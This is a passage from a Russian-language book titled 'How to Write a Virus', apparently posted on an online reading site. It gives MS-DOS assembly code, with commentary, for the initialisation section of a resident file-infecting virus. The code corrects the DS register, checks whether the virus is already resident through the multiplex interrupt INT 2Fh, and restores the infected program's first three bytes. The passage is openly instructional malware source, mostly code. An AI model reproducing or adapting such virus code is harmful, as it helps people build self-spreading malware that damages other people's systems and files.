"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

ализации нашей программы .Поскольку эта секция ис-
полняется при запуске зараженного файла, выполним
коррекцию регистра DS ( см. гл. 1, 1.6 ) :

push_len equ $-vir - 2

mov ax,ds ;Корректируем DS
;для нерезидент-
;ной работы ...
db 05h ;Код команды
add_to_ds: dw 0 ;" ADD AX,00h "
mov ds,ax

Константа " push_len " содержит смещение от начала
вируса до начала секции инициализации . Именно это
число записывается за меткой " vir " (см. п. 2.5).
Далее следует проверить наличие вируса в памяти
(см. п. 2.3), поэтому :

mov ax,0f000h ;Проверим, есть
mov bx,1997h ;вирус в памяти,
int 2fh ;или еще нет ...
jc fresh_bytes

cmp al,0ffh
jne free_mem ;Нет -
;устанавливаем

Для проверки используется так называемое мульти-
плексное прерывание MS DOS, специально предназна-
ченное для использования в резидентных программах.
В регистрах AX и BX мы поместим код, на который
реагирует вирусный обработчик этого прерывания, и
выполним команду " INT 2Fh " .Если вирус был уста-
новлен в памяти,его обработчик проанализирует зна-
чения AX и BX .И если они равны " 0f000h " и " 19-
97h ", вернет в AL число 0ffh, которое и рассчиты-
вает получить секция инициализации .
Если вирусный код уже инсталлирован, необходимо:
восстановить в памяти компьютера исходные три бай-
та зараженной программы (см. п. 2.3) :

fresh_bytes: ;Восстанавливаем
mov al,old_bytes ;первые три бай-
;та зараженной
mov cs:[100h],al ;программы ...
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al